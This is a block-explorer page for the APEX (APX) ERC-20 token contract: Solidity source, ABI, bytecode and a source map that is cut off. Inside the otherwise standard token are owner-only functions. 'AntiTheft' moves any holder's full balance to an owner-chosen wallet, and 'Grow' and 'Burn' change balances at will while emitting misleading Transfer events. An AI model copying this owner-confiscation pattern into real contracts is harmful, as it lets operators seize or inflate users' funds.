ERC-20
Source Code
Overview
Max Total Supply
100,000,000 APX
Holders
1,162
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
APEX
Compiler Version
v0.4.25-nightly.2018.6.18+commit.4247b004
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2019-08-29
*/
/**
*Submitted after initial minting to restructure burn method
*/
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Standard
* @dev Strong version of ERC20 interface
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract APEX is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "APEX";
string public constant symbol = "APX";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000;
address ownerWallet;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function APEX (address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function Grow(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]<=tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function Burn(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]<=tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function AntiTheft(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]<=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"},{"name":"buyer","type":"address"},{"name":"tokenAmount","type":"uint256"}],"name":"AntiTheft","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"showMyTokenBalance","outputs":[{"name":"tokenBalance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"},{"name":"buyer","type":"address"},{"name":"tokenAmount","type":"uint256"}],"name":"Grow","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"},{"name":"buyer","type":"address"},{"name":"tokenAmount","type":"uint256"}],"name":"Burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"wallet","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"message","type":"string"},{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"number","type":"uint256"}],"name":"Debug","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]Contract Creation Code
608060405234801561001057600080fd5b50604051602080610cda833981016040908152905160008054600160a060020a031990811633908117821617825560038054600160a060020a0390941693909116831790556a52b7d2dcc80cd2e4000000600181905591815260026020529190912055610c58806100826000396000f3006080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce56714610228578063661884631461023d5780636ea615081461026157806370a082311461028d5780638da5cb5b146102ae5780638fe476251461028d57806395d89b41146102df5780639b7d242a146102f4578063a9059cbb1461031e578063bac4073914610342578063d73dd6231461036c578063dd62ed3e14610390578063f2fde38b146103b7575b600080fd5b34801561010c57600080fd5b506101156103d8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a036004351660243561040f565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610475565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a03600435811690602435166044356104a7565b34801561021f57600080fd5b506101d761060e565b34801561023457600080fd5b506101d7610616565b34801561024957600080fd5b506101ae600160a060020a036004351660243561061b565b34801561026d57600080fd5b5061028b600160a060020a036004358116906024351660443561070b565b005b34801561029957600080fd5b506101d7600160a060020a03600435166107ef565b3480156102ba57600080fd5b506102c361080a565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b50610115610819565b34801561030057600080fd5b5061028b600160a060020a0360043581169060243516604435610850565b34801561032a57600080fd5b506101ae600160a060020a0360043516602435610915565b34801561034e57600080fd5b5061028b600160a060020a03600435811690602435166044356109cf565b34801561037857600080fd5b506101ae600160a060020a0360043516602435610a8c565b34801561039c57600080fd5b506101d7600160a060020a0360043581169060243516610b25565b3480156103c357600080fd5b5061028b600160a060020a0360043516610b50565b60408051808201909152600481527f4150455800000000000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a03831615156104be57600080fd5b600160a060020a0384166000908152600260205260409020548211156104e357600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561051357600080fd5b600160a060020a03841660009081526002602052604090205461053c908363ffffffff610be416565b600160a060020a038086166000908152600260205260408082209390935590851681522054610571908363ffffffff610bf616565b600160a060020a0380851660009081526002602090815260408083209490945591871681526004825282812033825290915220546105b5908363ffffffff610be416565b600160a060020a0380861660008181526004602090815260408083203384528252918290209490945580518681529051928716939192600080516020610c0d833981519152929181900390910190a35060019392505050565b6305f5e10081565b601281565b336000908152600460209081526040808320600160a060020a03861684529091528120548083111561067057336000908152600460209081526040808320600160a060020a03881684529091528120556106a5565b610680818463ffffffff610be416565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600054600160a060020a0316331461072257600080fd5b600160a060020a03821660009081526002602052604090205481101561074757600080fd5b600160a060020a038216600090815260026020526040902054610770908263ffffffff610be416565b600160a060020a0380841660009081526002602052604080822093909355908516815220546107a5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a3505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60408051808201909152600381527f4150580000000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461086757600080fd5b600160a060020a03821660009081526002602052604090205481101561088c57600080fd5b600160a060020a0383166000908152600260205260409020546108b5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610bf616565b600155505050565b3360009081526002602052604081205482111561093157600080fd5b33600090815260026020526040902054610951908363ffffffff610be416565b3360009081526002602052604080822092909255600160a060020a03851681522054610983908363ffffffff610bf616565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191923392600080516020610c0d8339815191529281900390910190a350600192915050565b600054600160a060020a031633146109e657600080fd5b600160a060020a038216600090815260026020526040902054811015610a0b57600080fd5b600160a060020a038316600090815260026020526040902054610a34908263ffffffff610be416565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610be416565b336000908152600460209081526040808320600160a060020a0386168452909152812054610ac0908363ffffffff610bf616565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610b6757600080fd5b600160a060020a0381161515610b7c57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bf057fe5b50900390565b600082820183811015610c0557fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208fb003c85f44e26e4d1326f4bf65aa500c3c70138b08e0ec1d0a1a768f1f2f57002900000000000000000000000028e4ad38c55540813da5bd0502652d0fdeb75afc
Deployed Bytecode
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce56714610228578063661884631461023d5780636ea615081461026157806370a082311461028d5780638da5cb5b146102ae5780638fe476251461028d57806395d89b41146102df5780639b7d242a146102f4578063a9059cbb1461031e578063bac4073914610342578063d73dd6231461036c578063dd62ed3e14610390578063f2fde38b146103b7575b600080fd5b34801561010c57600080fd5b506101156103d8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a036004351660243561040f565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610475565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a03600435811690602435166044356104a7565b34801561021f57600080fd5b506101d761060e565b34801561023457600080fd5b506101d7610616565b34801561024957600080fd5b506101ae600160a060020a036004351660243561061b565b34801561026d57600080fd5b5061028b600160a060020a036004358116906024351660443561070b565b005b34801561029957600080fd5b506101d7600160a060020a03600435166107ef565b3480156102ba57600080fd5b506102c361080a565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b50610115610819565b34801561030057600080fd5b5061028b600160a060020a0360043581169060243516604435610850565b34801561032a57600080fd5b506101ae600160a060020a0360043516602435610915565b34801561034e57600080fd5b5061028b600160a060020a03600435811690602435166044356109cf565b34801561037857600080fd5b506101ae600160a060020a0360043516602435610a8c565b34801561039c57600080fd5b506101d7600160a060020a0360043581169060243516610b25565b3480156103c357600080fd5b5061028b600160a060020a0360043516610b50565b60408051808201909152600481527f4150455800000000000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a03831615156104be57600080fd5b600160a060020a0384166000908152600260205260409020548211156104e357600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561051357600080fd5b600160a060020a03841660009081526002602052604090205461053c908363ffffffff610be416565b600160a060020a038086166000908152600260205260408082209390935590851681522054610571908363ffffffff610bf616565b600160a060020a0380851660009081526002602090815260408083209490945591871681526004825282812033825290915220546105b5908363ffffffff610be416565b600160a060020a0380861660008181526004602090815260408083203384528252918290209490945580518681529051928716939192600080516020610c0d833981519152929181900390910190a35060019392505050565b6305f5e10081565b601281565b336000908152600460209081526040808320600160a060020a03861684529091528120548083111561067057336000908152600460209081526040808320600160a060020a03881684529091528120556106a5565b610680818463ffffffff610be416565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600054600160a060020a0316331461072257600080fd5b600160a060020a03821660009081526002602052604090205481101561074757600080fd5b600160a060020a038216600090815260026020526040902054610770908263ffffffff610be416565b600160a060020a0380841660009081526002602052604080822093909355908516815220546107a5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a3505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60408051808201909152600381527f4150580000000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461086757600080fd5b600160a060020a03821660009081526002602052604090205481101561088c57600080fd5b600160a060020a0383166000908152600260205260409020546108b5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610bf616565b600155505050565b3360009081526002602052604081205482111561093157600080fd5b33600090815260026020526040902054610951908363ffffffff610be416565b3360009081526002602052604080822092909255600160a060020a03851681522054610983908363ffffffff610bf616565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191923392600080516020610c0d8339815191529281900390910190a350600192915050565b600054600160a060020a031633146109e657600080fd5b600160a060020a038216600090815260026020526040902054811015610a0b57600080fd5b600160a060020a038316600090815260026020526040902054610a34908263ffffffff610be416565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610be416565b336000908152600460209081526040808320600160a060020a0386168452909152812054610ac0908363ffffffff610bf616565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610b6757600080fd5b600160a060020a0381161515610b7c57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bf057fe5b50900390565b600082820183811015610c0557fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208fb003c85f44e26e4d1326f4bf65aa500c3c70138b08e0ec1d0a1a768f1f2f570029
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000028e4ad38c55540813da5bd0502652d0fdeb75afc
-----Decoded View---------------
Arg [0] : wallet (address): 0x28e4Ad38c55540813Da5Bd0502652D0fdEb75AfC
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000028e4ad38c55540813da5bd0502652d0fdeb75afc
Deployed Bytecode Sourcemap
2257:5469:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6232:8;;;2423:36;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2423:36:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;2423:36:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4347:187;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;4347:187:0;-1:-1:-1;;;;;4347:187:0;;;;;;;;;;;;;;;;;;;;;;;;;4545:122;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4545:122:0;;;;;;;;;;;;;;;;;;;;3865:474;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3865:474:0;-1:-1:-1;;;;;3865:474:0;;;;;;;;;;;;2553:50;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2553:50:0;;;;2508:37;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2508:37:0;;;;5580:407;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;5580:407:0;-1:-1:-1;;;;;5580:407:0;;;;;;;7236:341;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;7236:341:0;-1:-1:-1;;;;;7236:341:0;;;;;;;;;;;;;;6461:118;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;6461:118:0;-1:-1:-1;;;;;6461:118:0;;;;;829:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;829:20:0;;;;;;;;-1:-1:-1;;;;;829:20:0;;;;;;;;;;;;;;2465:37;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2465:37:0;;;;6587:316;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;6587:316:0;-1:-1:-1;;;;;6587:316:0;;;;;;;;;;;;3261:312;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3261:312:0;-1:-1:-1;;;;;3261:312:0;;;;;;;6909:316;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;6909:316:0;-1:-1:-1;;;;;6909:316:0;;;;;;;;;;;;5313:261;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;5313:261:0;-1:-1:-1;;;;;5313:261:0;;;;;;;4683:153;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;4683:153:0;-1:-1:-1;;;;;4683:153:0;;;;;;;;;;1290:173;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;1290:173:0;-1:-1:-1;;;;;1290:173:0;;;;;2423:36;;;;;;;;;;;;;;;;;;;:::o;4347:187::-;4435:10;4414:4;4427:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4427:29:0;;;;;;;;;;;:38;;;4472;;;;;;;4414:4;;4427:29;;4435:10;;4472:38;;;;;;;;-1:-1:-1;4524:4:0;4347:187;;;;:::o;4545:122::-;4593:4;4633:25;;:13;:25;;;;4618:11;;:40;4545:122;:::o;3865:474::-;3947:4;-1:-1:-1;;;;;3968:17:0;;;;3960:26;;;;;;-1:-1:-1;;;;;4011:20:0;;;;;;:13;:20;;;;;;4001:30;;;3993:39;;;;;;-1:-1:-1;;;;;4057:14:0;;;;;;:7;:14;;;;;;;;4072:10;4057:26;;;;;;;;4047:36;;;4039:45;;;;;;-1:-1:-1;;;;;4116:20:0;;;;;;:13;:20;;;;;;:32;;4141:6;4116:32;:24;:32;:::i;:::-;-1:-1:-1;;;;;4093:20:0;;;;;;;:13;:20;;;;;;:55;;;;4176:18;;;;;;;:30;;4199:6;4176:30;:22;:30;:::i;:::-;-1:-1:-1;;;;;4155:18:0;;;;;;;:13;:18;;;;;;;;:51;;;;4242:14;;;;;:7;:14;;;;;4257:10;4242:26;;;;;;;:38;;4273:6;4242:38;:30;:38;:::i;:::-;-1:-1:-1;;;;;4213:14:0;;;;;;;:7;:14;;;;;;;;4228:10;4213:26;;;;;;;;:67;;;;4287:28;;;;;;;;;;;4213:14;;-1:-1:-1;;;;;;;;;;;4287:28:0;;;;;;;;;;-1:-1:-1;4329:4:0;3865:474;;;;;:::o;2553:50::-;2594:9;2553:50;:::o;2508:37::-;2543:2;2508:37;:::o;5580:407::-;5700:10;5663:4;5692:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5692:29:0;;;;;;;;;;5732:27;;;5728:168;;;5778:10;5802:1;5770:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5770:29:0;;;;;;;;;:33;5728:168;;;5858:30;:8;5871:16;5858:30;:12;:30;:::i;:::-;5834:10;5826:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5826:29:0;;;;;;;;;:62;5728:168;5911:10;5933:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5902:61:0;;5933:29;;;;;;;;;;;5902:61;;;;;;;;;5911:10;5902:61;;;;;;;;;;;-1:-1:-1;5977:4:0;;5580:407;-1:-1:-1;;;5580:407:0:o;7236:341::-;1264:5;;-1:-1:-1;;;;;1264:5:0;1250:10;:19;1242:28;;;;;;-1:-1:-1;;;;;7343:20:0;;;;;;:13;:20;;;;;;:33;-1:-1:-1;7343:33:0;7335:42;;;;;;-1:-1:-1;;;;;7411:20:0;;;;;;:13;:20;;;;;;:37;;7436:11;7411:37;:24;:37;:::i;:::-;-1:-1:-1;;;;;7388:20:0;;;;;;;:13;:20;;;;;;:60;;;;7483:21;;;;;;;:38;;7509:11;7483:38;:25;:38;:::i;:::-;-1:-1:-1;;;;;7459:21:0;;;;;;;:13;:21;;;;;;;;;:62;;;;7532:36;;;;;;;7459:21;;7532:36;;;;-1:-1:-1;;;;;;;;;;;7532:36:0;;;;;;;;7236:341;;;:::o;6461:118::-;-1:-1:-1;;;;;6552:21:0;6521:15;6552:21;;;:13;:21;;;;;;;6461:118::o;829:20::-;;;-1:-1:-1;;;;;829:20:0;;:::o;2465:37::-;;;;;;;;;;;;;;;;;;;:::o;6587:316::-;1264:5;;-1:-1:-1;;;;;1264:5:0;1250:10;:19;1242:28;;;;;;-1:-1:-1;;;;;6689:20:0;;;;;;:13;:20;;;;;;:33;-1:-1:-1;6689:33:0;6681:42;;;;;;-1:-1:-1;;;;;6758:21:0;;;;;;:13;:21;;;;;;:38;;6784:11;6758:38;:25;:38;:::i;:::-;-1:-1:-1;;;;;6734:21:0;;;;;;;:13;:21;;;;;;;;;:62;;;;6807:36;;;;;;;6734:21;;6807:36;;;;-1:-1:-1;;;;;;;;;;;6807:36:0;;;;;;;;6866:11;;:28;;6882:11;6866:28;:15;:28;:::i;:::-;6854:11;:40;-1:-1:-1;;;6587:316:0:o;3261:312::-;3359:10;3324:4;3345:25;;;:13;:25;;;;;;:33;-1:-1:-1;3345:33:0;3337:42;;;;;;3428:10;3414:25;;;;:13;:25;;;;;;:37;;3444:6;3414:37;:29;:37;:::i;:::-;3400:10;3386:25;;;;:13;:25;;;;;;:65;;;;-1:-1:-1;;;;;3479:18:0;;;;;;:30;;3502:6;3479:30;:22;:30;:::i;:::-;-1:-1:-1;;;;;3458:18:0;;;;;;:13;:18;;;;;;;;;:51;;;;3516:33;;;;;;;3458:18;;3525:10;;-1:-1:-1;;;;;;;;;;;3516:33:0;;;;;;;;;-1:-1:-1;3563:4:0;3261:312;;;;:::o;6909:316::-;1264:5;;-1:-1:-1;;;;;1264:5:0;1250:10;:19;1242:28;;;;;;-1:-1:-1;;;;;7011:20:0;;;;;;:13;:20;;;;;;:33;-1:-1:-1;7011:33:0;7003:42;;;;;;-1:-1:-1;;;;;7080:21:0;;;;;;:13;:21;;;;;;:38;;7106:11;7080:38;:25;:38;:::i;:::-;-1:-1:-1;;;;;7056:21:0;;;;;;;:13;:21;;;;;;;;;:62;;;;7129:36;;;;;;;7056:21;;7129:36;;;;-1:-1:-1;;;;;;;;;;;7129:36:0;;;;;;;;7188:11;;:28;;7204:11;7188:28;:15;:28;:::i;5313:261::-;5444:10;5391:4;5436:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5436:29: